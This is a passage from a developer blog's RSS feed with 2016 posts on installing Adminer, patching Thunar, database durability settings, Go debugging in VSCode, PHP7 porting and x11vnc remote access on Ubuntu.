&lt;a href=&#34;https://www.leaseweb.com/labs/2014/06/install-adminer-manually-ubuntu-14-04/&#34;&gt;two years ago&lt;/a&gt;
and
&lt;a href=&#34;https://www.leaseweb.com/labs/2012/05/adminer-good-alternative-for-phpmyadmin/&#34;&gt;four years ago&lt;/a&gt;:
Adminer is a very good alternative to PHPMyAdmin. I often find myself looking up
those old posts, because I frequently install, recommend or update Adminer.
After using this software daily for several years I can say without a doubt that
it is much better than PHPMyAdmin. Adminer is constantly updating and adding
nice new features without changing dramatically and alienating it&amp;rsquo;s users. The
top 3 reasons why I use Adminer are:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>As I wrote
<a href="https://www.leaseweb.com/labs/2014/06/install-adminer-manually-ubuntu-14-04/">two years ago</a>
and
<a href="https://www.leaseweb.com/labs/2012/05/adminer-good-alternative-for-phpmyadmin/">four years ago</a>:
Adminer is a very good alternative to PHPMyAdmin. I often find myself looking up
those old posts, because I frequently install, recommend or update Adminer.
After using this software daily for several years I can say without a doubt that
it is much better than PHPMyAdmin. Adminer is constantly updating and adding
nice new features without changing dramatically and alienating it&rsquo;s users. The
top 3 reasons why I use Adminer are:</p>
<ol>
<li>Very clear and consistent user interface</li>
<li>It automatically adds foreign keys</li>
<li>You can easily reorder columns in a table</li>
</ol>
<p>I&rsquo;m sure that once you give it a try, you will be sold as well and never look
back!</p>
<h3 id="installation--updating--de-installation">Installation / Updating / De-installation</h3>
<p>To install, open a terminal and run the following commands:</p>
<pre><code>sudo mkdir /usr/share/adminer
sudo wget &quot;https://www.adminer.org/latest.php&quot; -O /usr/share/adminer/latest.php
sudo ln -s /usr/share/adminer/latest.php /usr/share/adminer/adminer.php
echo &quot;Alias /adminer.php /usr/share/adminer/adminer.php&quot; | sudo tee /etc/apache2/conf-available/adminer.conf
sudo a2enconf adminer.conf
sudo service apache2 restart
</code></pre>
<p>To update, run the following command:</p>
<pre><code>sudo wget &quot;https://www.adminer.org/latest.php&quot; -O /usr/share/adminer/latest.php
</code></pre>
<p>And for de-installation, run these:</p>
<pre><code>sudo a2disconf adminer.conf
sudo service apache2 restart
sudo rm /etc/apache2/conf-available/adminer.conf
sudo rm -Rf /usr/share/adminer
</code></pre>
<p>Easy ain&rsquo;t it?</p>
<h3 id="adminer-editor">Adminer editor</h3>
<p>When creating software I tend to start at the data model. I create the data
model using Adminer. When I need to quickly prototype an admin backend I tend to
install Adminer editor (also downloadable from the Adminer website). I have had
some great success with it where, after styling, the customer accepted the
Adminer editor UI as the final admin backed. I modified an existing stylesheet
from the Adminer website to match the company colors and added the company logo.
This saved lots of time and both parties were extremely satisfied.</p>
<p>The only thing I was missing from the Adminer editor is an authorization model.
That&rsquo;s why I created <a href="https://github.com/mevdschee/php-crud-ui">PHP-CRUD-UI</a>, a
front-end to <a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a>. This
allows you to specify authorization rules using callbacks in the API. Since this
is very much work-in-progress it may not yet be a viable alternative to Adminer
editor, but if you like the idea, then feel free to contribute!</p>
]]></content:encoded>
    </item>
    <item>
      <title>RSS &#43; Sitemap &#43; Archive in MindaBlog</title>
      <link>https://www.tqdev.com/2016-rss-sitemap-archive-in-mindablog/</link>
      <pubDate>Tue, 17 May 2016 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-rss-sitemap-archive-in-mindablog/</guid>
      <description>&lt;p&gt;I have been blogging for two and a half months now on TQdev.com and traffic
slowly starts to build up. Unlike most blogs on the Internet this blog is not
powered by Wordpress. For this blog I am writing my own blogging software. I am
basing the features on my WordPress experience. The software aims to be a
Wordpress clone that is faster, more secure and batteries (such as SEO and
analytics) included. It renders super-fast as it does not do any cross-site
requests or execute any JavaScript at all. It is not complete yet, but very much
a &amp;ldquo;Work In Progress&amp;rdquo; that is being built while also writing posts. I chose this
path because I feel that it is quite educational (and satisfying) to be
confronted with every detail of blogging and it&amp;rsquo;s software.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I have been blogging for two and a half months now on TQdev.com and traffic
slowly starts to build up. Unlike most blogs on the Internet this blog is not
powered by Wordpress. For this blog I am writing my own blogging software. I am
basing the features on my WordPress experience. The software aims to be a
Wordpress clone that is faster, more secure and batteries (such as SEO and
analytics) included. It renders super-fast as it does not do any cross-site
requests or execute any JavaScript at all. It is not complete yet, but very much
a &ldquo;Work In Progress&rdquo; that is being built while also writing posts. I chose this
path because I feel that it is quite educational (and satisfying) to be
confronted with every detail of blogging and it&rsquo;s software.</p>
<h3 id="new-features">New features</h3>
<p>I have added a few features since I started:</p>
<ul>
<li><a href="http://tqdev.com/feed">RSS</a></li>
<li><a href="http://tqdev.com/sitemap.xml">Sitemap</a></li>
<li><a href="http://tqdev.com/archive">Archive</a></li>
</ul>
<p>These features are all focused on increasing visitors and views, either through
SEO (Sitemap), through revisiting (RSS) or via the user interface (Archive).</p>
<h3 id="blog-at-10ms-and-1000rps">Blog at 10ms and 1000rps!</h3>
<p>This blog is build for speed, security and usability. Currently it is protected
by an application firewall limiting to 10 concurrent connections from the same
IP address to avoid Denial of Service attacks. Even with this protection enabled
the site performs under 10ms and does about 1000rps as you can see below:</p>
<pre><code>maurits@nuc:~$ ab -c 8 -n 100000 http://localhost/2016-xubuntu-16-04-thunar
This is ApacheBench, Version 2.3 &lt;$Revision: 1706008 $&gt;
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking localhost (be patient)
^C

Server Software:        Apache/2.4.18
Server Hostname:        localhost
Server Port:            80

Document Path:          /2016-xubuntu-16-04-thunar-crashes-on-rename
Document Length:        8415 bytes

Concurrency Level:      8
Time taken for tests:   6.329 seconds
Complete requests:      6246
Failed requests:        0
Total transferred:      54733698 bytes
HTML transferred:       52560090 bytes
Requests per second:    986.92 [#/sec] (mean)
Time per request:       8.106 [ms] (mean)
Time per request:       1.013 [ms] (mean, across all concurrent requests)
Transfer rate:          8445.71 [Kbytes/sec] received

Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:        0    0   0.0      0       0
Processing:     2    8   3.0      8      40
Waiting:        2    8   2.9      7      39
Total:          3    8   3.0      8      40

Percentage of the requests served within a certain time (ms)
  50%      8
  66%      9
  75%     10
  80%     10
  90%     12
  95%     13
  98%     15
  99%     17
 100%     40 (longest request)
maurits@nuc:~$
</code></pre>
<p>NB: The above is achieved without turning off the (server-side database-driven)
analytics!</p>
<h3 id="i-want-to-help-out">I want to help out!</h3>
<p>Do you want to help build this free, secure, fast, user-friendly and SEO
optimized blog software? Join me on
<a href="https://github.com/mevdschee/MindaBlog">Github</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Xubuntu 16.04: Thunar crashes on rename</title>
      <link>https://www.tqdev.com/2016-xubuntu-16-04-thunar-crashes-on-rename/</link>
      <pubDate>Sun, 15 May 2016 22:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-xubuntu-16-04-thunar-crashes-on-rename/</guid>
      <description>&lt;p&gt;I love Ubuntu, but I prefer XFCE over Unity as a window manager for its speed
and classic (Gnome2-like) looks. In Xubuntu 16.04 Thunar contains a bug that
makes it crash when files are renamed. Note that &amp;ldquo;Xubuntu&amp;rdquo; is Ubuntu with the
XFCE window manager and &amp;ldquo;Thunar&amp;rdquo; is the file manager of XFCE. The actual file
operation of the rename is executed without being affected, but it is
nevertheless annoying that Thunar crashes as you have to re-open Thunar and
navigate to the path you were working in. Fortunately this is all open-source
software and we can just &amp;ldquo;scratch our own itch&amp;rdquo;. This post will explain what I
did to get rid of this bug.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I love Ubuntu, but I prefer XFCE over Unity as a window manager for its speed
and classic (Gnome2-like) looks. In Xubuntu 16.04 Thunar contains a bug that
makes it crash when files are renamed. Note that &ldquo;Xubuntu&rdquo; is Ubuntu with the
XFCE window manager and &ldquo;Thunar&rdquo; is the file manager of XFCE. The actual file
operation of the rename is executed without being affected, but it is
nevertheless annoying that Thunar crashes as you have to re-open Thunar and
navigate to the path you were working in. Fortunately this is all open-source
software and we can just &ldquo;scratch our own itch&rdquo;. This post will explain what I
did to get rid of this bug.</p>
<h3 id="testing-thunar">Testing Thunar</h3>
<p>To determine whether or not you are affected by the bug you can run the
following test (from
<a href="http://packages.qa.ubuntu.com/qatracker/milestones/361/builds/117794/testcases/1681/results">Ubuntu QA</a>):</p>
<pre><code>mkdir thunar-test
cd thunar-test
Thunar .
for i in $(seq 1 10); do touch &quot;$i.txt&quot;; done
while true; do for i in $(seq 1 10); do mv &quot;$i.txt&quot; &quot;$i.txt.txt&quot;; done; sleep 1; for i in $(seq 1 10); do mv &quot;$i.txt.txt&quot; &quot;$i.txt&quot;; done; sleep 1; done
</code></pre>
<p>The above script should open a window showing 10 files and every second the
filenames should be adjusted to either end in &ldquo;.txt&rdquo; or in &ldquo;.txt.txt&rdquo;. You can
let the script run. If the Thunar window goes away (crashes) after a few
minutes, then you are affected. Note that the script does not clean up, so you
may have to remove the &ldquo;thunar-test&rdquo; directory and it&rsquo;s contents afterwards.</p>
<h3 id="building-thunar">Building Thunar</h3>
<p>We can just download the source code, fix the bug, recompile and install the
newly created Thunar. Sounds easy right? Well with these instructions it is:</p>
<pre><code>wget http://archive.xfce.org/src/xfce/thunar/1.6/Thunar-1.6.10.tar.bz2
tar xvjf Thunar-1.6.10.tar.bz2 
cd Thunar-1.6.10
sudo apt-get install build-essential xfce4-dev-tools automake libtool autoconf
sudo apt-get install intltool libglib2.0-dev libgtk2.0-dev libexo-1-dev libxfce4ui-1-dev
./configure 
make
sudo make install
</code></pre>
<p>The above code downloads the Thunar source code untars it, installs the
dependencies and recompiles. The final line will install (replace) the Thunar
executable. This does not fix the problem as we just downloaded, compiled and
installed the same version as should have been installed already.</p>
<h3 id="patching-thunar">Patching Thunar</h3>
<p>Now let&rsquo;s patch the file using following patch (by
<a href="http://bug-attachment.xfce.org/attachment.cgi?id=6613">Harald Judt</a>):</p>
<pre><code>--- Thunar-1.6.10/thunar/thunar-file.c  2015-05-22 15:25:36.000000000 +0200
+++ Thunar-1.6.10-patched/thunar/thunar-file.c  2016-05-15 15:13:21.613406924 +0200
@@ -3918,7 +3918,9 @@
 gboolean
 thunar_file_reload (ThunarFile *file)
 {
-  _thunar_return_if_fail (THUNAR_IS_FILE (file));
+  /* if the file has already been destroyed, break here */
+  if (!THUNAR_IS_FILE (file))
+      return FALSE;
 
   /* clear file pxmap cache */
   thunar_icon_factory_clear_pixmap_cache (file);
</code></pre>
<p>Save this file as &ldquo;Thunar-1.6.10.patch&rdquo; next to the folder &ldquo;Thunar-1.6.10&rdquo;. Now
do NOT enter that folder and run:</p>
<pre><code>patch -p0 -i Thunar-1.6.10.patch
</code></pre>
<p>The expected output is 1 line saying:</p>
<pre><code>patching file Thunar-1.6.10/thunar/thunar-file.c
</code></pre>
<p>After this you can recompile and reinstall using:</p>
<pre><code>cd Thunar-1.6.10
make
sudo make install
</code></pre>
<p>Now re-run the test case to verify that the problem has disappeared and enjoy a
rock solid Xubuntu 16.04!</p>
<h3 id="links">Links</h3>
<p>The following links are relevant for this specific problem:</p>
<ol>
<li><a href="http://packages.qa.ubuntu.com/qatracker/milestones/361/builds/117794/testcases/1681/results">Thunar additional tests 1512120 in Xubuntu Desktop</a></li>
<li><a href="https://bugs.launchpad.net/ubuntu/+source/thunar/+bug/1512120">Bug #1512120: thunar crashes on file renaming</a></li>
<li><a href="https://forum.xfce.org/viewtopic.php?id=9680">How to for newbie devs: Build a debug version of Thunar in Linux Mint</a></li>
<li><a href="https://bugzilla.xfce.org/show_bug.cgi?id=12264#c30">XFCE Bug 12264: Crash when renaming single file in folder</a></li>
<li><a href="http://bug-attachment.xfce.org/attachment.cgi?id=6613">Patch by Harald Judt: Check if a thunar file is still valid before reloading</a></li>
</ol>
]]></content:encoded>
    </item>
    <item>
      <title>No More NoSQL</title>
      <link>https://www.tqdev.com/2016-no-more-nosql/</link>
      <pubDate>Wed, 11 May 2016 03:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-no-more-nosql/</guid>
      <description>&lt;p&gt;A developer with genuine interest in NoSQL asked
&lt;a href=&#34;https://www.reddit.com/r/programming/comments/4inxha/today_i_accept_that_rails_is_yesterdays_software/&#34;&gt;reddit&lt;/a&gt;
about the need for NoSQL in scalable systems:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;So I&amp;rsquo;m really confused about noSQL. I constantly hear the argument that if
people knew how to write SQL they wouldn&amp;rsquo;t need noSQL, but yet every book I
read about noSQL claims that if you need to scale you pretty much have to use
noSQL because of clustering and SQL clustering is much more complicated and
you lose relations.. Can you give me an overview / glimpse of why SQL is just
as scalable?&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>A developer with genuine interest in NoSQL asked
<a href="https://www.reddit.com/r/programming/comments/4inxha/today_i_accept_that_rails_is_yesterdays_software/">reddit</a>
about the need for NoSQL in scalable systems:</p>
<blockquote>
<p>So I&rsquo;m really confused about noSQL. I constantly hear the argument that if
people knew how to write SQL they wouldn&rsquo;t need noSQL, but yet every book I
read about noSQL claims that if you need to scale you pretty much have to use
noSQL because of clustering and SQL clustering is much more complicated and
you lose relations.. Can you give me an overview / glimpse of why SQL is just
as scalable?</p></blockquote>
<p>A user with the handle &ldquo;G_Morgan&rdquo; wrote this fabulous (highly opinionated)
answer:</p>
<blockquote>
<p>The claim is true in the broad sense that NoSQL will handle loads that SQL
servers struggle to do so. The problem is that nearly none of these
applications have loads that push that boundary.</p>
<p>There are three subsets of web applications out there:</p>
<ol>
<li>Those that genuinely need NoSQL. Google might have one of these.</li>
<li>Those that could be handled with SQL provided you used additional features
to temporarily side step safety (which you don&rsquo;t get with NoSQL anyway).</li>
<li>Those that could be handled in straight forward text book SQL provided your
schema wasn&rsquo;t insane.</li>
</ol>
<p>A lot of people talk about case 2 and how you can get performance in most SQL
systems using various tools they have. In truth most of these applications
fall into case 3. People use NoSQL as an optimisation around bad design
choices in data structures effectively.</p></blockquote>
<p>I feel this discussion is an excellent complement to my last post on trading
durability for performance in which I explain how to side step safety as
described in case 2.</p>
<p>Read
&ldquo;<a href="http://tqdev.com/2016-trading-durability-for-performance-without-nosql">Trading durability for performance without NoSQL</a>&rdquo;.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Trading durability for performance without NoSQL</title>
      <link>https://www.tqdev.com/2016-trading-durability-for-performance-without-nosql/</link>
      <pubDate>Sat, 07 May 2016 20:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-trading-durability-for-performance-without-nosql/</guid>
      <description>&lt;p&gt;Developers turn to NoSQL solutions whenever they are confronted with a DBMS
(write) performance challenge. I think that in most of the cases that is an
exceptionally bad idea. By choosing NoSQL you trade the A, C and I from ACID for
performance:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Atomicity (risk of writes half succeeding, due to lack of multi-entity
transactions)&lt;/li&gt;
&lt;li&gt;Consistency (risk of ambiguous data due to denormalization into multiple
key/value sets)&lt;/li&gt;
&lt;li&gt;Consistency (risk of &amp;ldquo;messy&amp;rdquo; data, due to lack of schema and constraints)&lt;/li&gt;
&lt;li&gt;Isolation (risk of parallel writes on inconsistent state, due to lack of
multi-entity transactions)&lt;/li&gt;
&lt;li&gt;Durability (risk of losing data by not flushing to disk, but keeping in
memory)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A, C and I are actually the things of ACID that I often don&amp;rsquo;t want to trade. The
thing I am most willing to trade is the &amp;ldquo;D&amp;rdquo;. I don&amp;rsquo;t care that in the very
unlikely event of an application or server crash a few seconds of writes are
lost in exchange for a ten to hundreds times better performance. Or as they say
at MongoDB:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Developers turn to NoSQL solutions whenever they are confronted with a DBMS
(write) performance challenge. I think that in most of the cases that is an
exceptionally bad idea. By choosing NoSQL you trade the A, C and I from ACID for
performance:</p>
<ol>
<li>Atomicity (risk of writes half succeeding, due to lack of multi-entity
transactions)</li>
<li>Consistency (risk of ambiguous data due to denormalization into multiple
key/value sets)</li>
<li>Consistency (risk of &ldquo;messy&rdquo; data, due to lack of schema and constraints)</li>
<li>Isolation (risk of parallel writes on inconsistent state, due to lack of
multi-entity transactions)</li>
<li>Durability (risk of losing data by not flushing to disk, but keeping in
memory)</li>
</ol>
<p>A, C and I are actually the things of ACID that I often don&rsquo;t want to trade. The
thing I am most willing to trade is the &ldquo;D&rdquo;. I don&rsquo;t care that in the very
unlikely event of an application or server crash a few seconds of writes are
lost in exchange for a ten to hundreds times better performance. Or as they say
at MongoDB:</p>
<blockquote>
<p>&hellip; we think single server durability is overvalued. First, there are many
scenarios in which that server loses all its data no matter what. If there is
water damage, fire, some hardware problems, etc&hellip; no matter how durable the
software is, data can be lost.
<a href="http://blog.mongodb.org/post/381927266/what-about-durability">(source)</a></p></blockquote>
<p>Fortunately, all big relational databases allow this trade-off to be configured.
This post will explain what you need to do in order to configure your database
for higher performance, trading durability instead of consistency (as NoSQL
does).</p>
<h3 id="mariadb-previously-mysql">MariaDB (previously: MySQL)</h3>
<p>The following settings will make your MySQL server perform a lot better (on
writes), risking 1 second of data-loss:</p>
<pre><code>innodb_flush_log_at_trx_commit = 0
innodb_flush_log_at_timeout = 1
</code></pre>
<p>Or as the MySQL documentation says:</p>
<blockquote>
<p>Controls the balance between strict ACID compliance for commit operations, and
higher performance that is possible when commit-related I/O operations are
rearranged and done in batches. You can achieve better performance by changing
the default value, but then you can lose up to a second of transactions in a
crash.
<a href="https://dev.mysql.com/doc/refman/5.7/en/innodb-parameters.html">(source)</a>.</p></blockquote>
<p>Note that the one second timeout is only configurable from version 5.6.6.</p>
<h3 id="postgresql-non-durable-settings">PostgreSQL: Non-Durable Settings</h3>
<p>PostgreSQL has a similar feature:</p>
<pre><code>synchronous_commit off
</code></pre>
<p>The documentation says:</p>
<blockquote>
<p>The default, and safe, setting is on. When off, there can be a delay between
when success is reported to the client and when the transaction is really
guaranteed to be safe against a server crash. (The maximum delay is three
times <code>wal_writer_delay</code>.)
<a href="http://www.postgresql.org/docs/current/static/non-durability.html">(source)</a></p></blockquote>
<p>It also recommends this feature over other optimizations:</p>
<blockquote>
<p>In many scenarios, asynchronous commit provides most of the performance
improvement that could be obtained by turning off fsync, but without the risk
of data corruption.
<a href="http://www.postgresql.org/docs/current/static/wal-async-commit.html">(source)</a></p></blockquote>
<p>It seems this feature is available in all supported PostgreSQL versions.</p>
<h3 id="microsoft-sql-server-delayed-durability">Microsoft SQL Server: Delayed Durability</h3>
<p>In SQL Server 2014 it is even easier to configure such a setting:</p>
<pre><code>ALTER DATABASE dbname SET DELAYED_DURABILITY = FORCED;
</code></pre>
<p>But there are several exceptions in which the above setting is not applied:</p>
<blockquote>
<p>&hellip;some transactions are always fully durable, regardless of database settings
or commit settings; for example, system transactions, cross-database
transactions, and operations involving FileTable, Change Tracking and Change
Data Capture.
<a href="http://sqlperformance.com/2014/04/io-subsystem/delayed-durability-in-sql-server-2014">(source)</a></p></blockquote>
<p>Especially the &ldquo;cross-database transactions&rdquo; exception may be inconvenient.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Debugging Go with VSCode and Delve </title>
      <link>https://www.tqdev.com/2016-debugging-go-with-vscode-and-delve/</link>
      <pubDate>Sat, 30 Apr 2016 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-debugging-go-with-vscode-and-delve/</guid>
      <description>&lt;p&gt;Go, a programming language (by Google), is now supported by Visual Studio Code
(by Microsoft). It has step-by-step debugging support thanks to the Delve
debugger. I am very impressed with Visual Studio Code and it&amp;rsquo;s support for the
Go language. I am running Ubuntu 16.04 and everything worked flawless and even
when I was missing some packages Visual Studio Code nicely informed me how to
solve this.&lt;/p&gt;
&lt;h3 id=&#34;installation-of-go&#34;&gt;Installation of Go&lt;/h3&gt;
&lt;p&gt;First we install Go and set the GOPATH variable in the &amp;ldquo;&lt;code&gt;.bashrc&lt;/code&gt;&amp;rdquo; file:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Go, a programming language (by Google), is now supported by Visual Studio Code
(by Microsoft). It has step-by-step debugging support thanks to the Delve
debugger. I am very impressed with Visual Studio Code and it&rsquo;s support for the
Go language. I am running Ubuntu 16.04 and everything worked flawless and even
when I was missing some packages Visual Studio Code nicely informed me how to
solve this.</p>
<h3 id="installation-of-go">Installation of Go</h3>
<p>First we install Go and set the GOPATH variable in the &ldquo;<code>.bashrc</code>&rdquo; file:</p>
<pre><code>sudo apt-get install golang 
mkdir go
export GOPATH=$HOME/go
echo 'export GOPATH=$HOME/go' &gt;&gt; .bashrc
</code></pre>
<p>In the last line we make sure that next time we login the GOPATH is set
properly.</p>
<h3 id="installation-of-visual-studio-code">Installation of Visual Studio Code</h3>
<p>Now download and install Visual Studio Code using:</p>
<pre><code>wget --content-disposition https://go.microsoft.com/fwlink/?LinkID=760868
sudo dpkg -i vscode-amd64.deb
</code></pre>
<p>After that we install the dependencies for the go extension:</p>
<pre><code>go get -u github.com/rogpeppe/godef
go get -u github.com/golang/lint/golint
go get -u github.com/derekparker/delve/cmd/dlv
go get -u github.com/tpng/gopkgs
</code></pre>
<p>Now we can start Visual Studio Code and press <code>Ctrl-Shift-P</code> and type
&ldquo;<code>ext install Go</code>&rdquo; to install the extension. You are ready! Open your Go project
and be amazed!</p>
<h3 id="about-atoms-go-plus">About Atom&rsquo;s go-plus</h3>
<p>Atom is another popular editor nowadays and it also has Go support. To install a
whole set of Go related packages it is enough to just search and install the
package &ldquo;go-plus&rdquo;. In Atom you click &ldquo;Edit&rdquo;, then &ldquo;Preferences&rdquo;, then &ldquo;Install&rdquo;
and you type &ldquo;go-plus&rdquo;, press enter to search and click the blue &ldquo;Install&rdquo;
button.</p>
<p>In order to make this work I had to manually set the GOPATH environment variable
in Atom. I had to click: &ldquo;Edit&rdquo;, then &ldquo;Init Script&hellip;&rdquo;, this opens &ldquo;init.coffee&rdquo;
in which I added the line:</p>
<pre><code>process.env['GOPATH'] = '/home/maurits/go'
</code></pre>
<p>After installation it was working, but running and debugging was not integrated
and was still to be done from the command line. This is not a problem for me,
but the Visual Studio Code experience was smoother.</p>
<h3 id="about-liteide-x29">About LiteIDE X29</h3>
<p>I tried it (even the new version X29) and I did not like it as much as the above
two editors. Mainly because I cannot get used to the weird GUI that the program
has. As a positive point I can mention that it is a very light weight IDE (as
the name already suggests).</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="http://code.visualstudio.com/">Visual Studio Code: Code editing. Redefined.</a></li>
<li><a href="https://github.com/derekparker/delve">Delve: A debugger for the Go programming language.</a></li>
<li><a href="https://atom.io/">Atom.io: A hackable text editor for the 21st Century.</a></li>
<li><a href="https://github.com/visualfc/liteide">LiteIDE X: A simple, open source, cross-platform Go IDE.</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Parameter 2 expected to be a reference</title>
      <link>https://www.tqdev.com/2016-parameter-2-expected-to-be-a-reference/</link>
      <pubDate>Fri, 29 Apr 2016 09:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-parameter-2-expected-to-be-a-reference/</guid>
      <description>&lt;p&gt;After my recent upgrade to Ubuntu 16.04 I have been making sure all my open
source PHP projects work on PHP7. I am thrilled about PHP7 as it is about 2x
faster than PHP5. In my experience it brings PHP more or less on par with NodeJS
in terms of execution speed.&lt;/p&gt;
&lt;h3 id=&#34;php-warning-for-bind_param-and-bind_result&#34;&gt;PHP Warning for &amp;ldquo;&lt;code&gt;bind_param&lt;/code&gt;&amp;rdquo; and &amp;ldquo;&lt;code&gt;bind_result&lt;/code&gt;&amp;rdquo;&lt;/h3&gt;
&lt;p&gt;When I was porting my PHP MVC framework (MintyPHP) to PHP7 I ran into the
following warning:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>After my recent upgrade to Ubuntu 16.04 I have been making sure all my open
source PHP projects work on PHP7. I am thrilled about PHP7 as it is about 2x
faster than PHP5. In my experience it brings PHP more or less on par with NodeJS
in terms of execution speed.</p>
<h3 id="php-warning-for-bind_param-and-bind_result">PHP Warning for &ldquo;<code>bind_param</code>&rdquo; and &ldquo;<code>bind_result</code>&rdquo;</h3>
<p>When I was porting my PHP MVC framework (MintyPHP) to PHP7 I ran into the
following warning:</p>
<pre><code>PHP Warning:  Parameter 2 to mysqli_stmt::bind_param() 
expected to be a reference, value given in ...
</code></pre>
<p>It turns out I was using a dynamic function call using &ldquo;<code>call_user_func_array</code>&rdquo;:</p>
<pre><code>call_user_func_array(array($query, 'bind_param'),$args);
</code></pre>
<p>Where in the following (albeit longer) alternative PHP7 does not emit a warning:</p>
<pre><code>$ref = new \ReflectionClass('mysqli_stmt');
$ref-&gt;getMethod(&quot;bind_param&quot;)-&gt;invokeArgs($query,$args);
</code></pre>
<p>Note that I do convert the <code>$args</code> variable to a array of references using:</p>
<pre><code>foreach (array_keys($args) as $i) {
  if ($i&gt;0) $args[$i] = &amp; $args[$i];
}
</code></pre>
<p>This code is found in the database helper class of my MintyPHP MVC framework.</p>
<h3 id="porting-to-php7">Porting to PHP7</h3>
<p>It was the only adjustment I had to make in the following 3 projects (with over
4000 lines of code) to make them compatible with PHP7.</p>
<ul>
<li><a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API: Single file PHP script that adds a REST API to MySQL</a></li>
<li><a href="https://github.com/mevdschee/MintyPHP">MintyPHP: A light-weight PHP web framework that is easy to learn</a></li>
<li><a href="https://github.com/mevdschee/wped">wped: Wikipedia client for the command line</a></li>
</ul>
<p>If I run into other issues then I will report them on this blog, so keep
visiting!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Install VNC on your Ubuntu 16.04</title>
      <link>https://www.tqdev.com/2016-install-vnc-on-your-ubuntu-16-04/</link>
      <pubDate>Sun, 24 Apr 2016 23:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-install-vnc-on-your-ubuntu-16-04/</guid>
      <description>&lt;p&gt;I upgraded my HTPC from Ubuntu 14.04 to 16.04 and since the box does not have a
keyboard or mouse I had to setup remote access. I chose to install x11vnc, which
is easy to use, but requires tunneling over SSH to be secure.&lt;/p&gt;
&lt;h3 id=&#34;install-ssh-and-enable-it-in-the-firewall&#34;&gt;Install SSH and enable it in the firewall&lt;/h3&gt;
&lt;p&gt;I chose &amp;ldquo;x11vnc&amp;rdquo;, which is easy to use and can be configured to be active during
the login (greeter). It&amp;rsquo;s built-in security is not good, so it requires
tunneling over SSH to be secure. That&amp;rsquo;s why we start installing an SSH server
using:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I upgraded my HTPC from Ubuntu 14.04 to 16.04 and since the box does not have a
keyboard or mouse I had to setup remote access. I chose to install x11vnc, which
is easy to use, but requires tunneling over SSH to be secure.</p>
<h3 id="install-ssh-and-enable-it-in-the-firewall">Install SSH and enable it in the firewall</h3>
<p>I chose &ldquo;x11vnc&rdquo;, which is easy to use and can be configured to be active during
the login (greeter). It&rsquo;s built-in security is not good, so it requires
tunneling over SSH to be secure. That&rsquo;s why we start installing an SSH server
using:</p>
<pre><code>sudo apt-get install openssh-server
</code></pre>
<p>Then we ensure the firewall is installed and we configure it to allow traffic on
TCP 22 (SSH) and enable it:</p>
<pre><code>sudo apt-get install ufw
sudo ufw allow 22
sudo ufw enable
</code></pre>
<p>Now try to login using SSH. This should succeed.</p>
<h3 id="install-x11vnc-and-load-it-during-startup">Install X11VNC and load it during startup</h3>
<p>Now that SSH is set up, we can install the &ldquo;x11vnc&rdquo; package using:</p>
<pre><code>sudo apt-get install x11vnc
</code></pre>
<p>Then we setup a password (just an extra layer of security).</p>
<pre><code>sudo x11vnc -storepasswd SomeVerySecurePassword /etc/x11vnc.pass
</code></pre>
<p>Now we add the startup configuration:</p>
<pre><code>sudo nano /lib/systemd/system/x11vnc.service
</code></pre>
<p>In the editor we copy/paste the following:</p>
<pre><code>[Unit]
Description=&quot;x11vnc&quot;
Requires=display-manager.service
After=display-manager.service

[Service]
ExecStart=/usr/bin/x11vnc -xkb -norc -forever -shared -display :0 -auth guess -rfbauth /etc/x11vnc.pass -localhost -o /var/log/x11vnc.log
ExecStop=/usr/bin/killall x11vnc
Restart=on-failure
Restart-sec=2

[Install]
WantedBy=multi-user.target
</code></pre>
<p>By starting the &ldquo;x11vnc&rdquo; with the option &ldquo;-localhost&rdquo; we limit it to (SSH)
tunneled connections. In order to make this configuration effective we have to
issue the following commands:</p>
<pre><code>sudo systemctl daemon-reload
sudo systemctl enable x11vnc
sudo systemctl start x11vnc
</code></pre>
<p>Now you can connect to your machine using an SSH tunnel or using the &ldquo;remmina&rdquo;
VNC client (for Linux), which has a built-in tunnel manager.</p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Installing PHP7 on Ubuntu 16.04</title>
      <link>https://www.tqdev.com/2016-installing-php7-on-ubuntu-16-04/</link>
      <pubDate>Thu, 21 Apr 2016 02:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-installing-php7-on-ubuntu-16-04/</guid>
      <description>&lt;p&gt;Today is the release of Ubuntu 16.04! On this release you can install the entire
LAMP stack using:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get install lamp-server^
sudo apt-get install mariadb-server mariadb-client
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The command &amp;ldquo;php -v&amp;rdquo; will show that PHP7 is included:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ php -v
PHP 7.0.4-7ubuntu2 (cli) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies
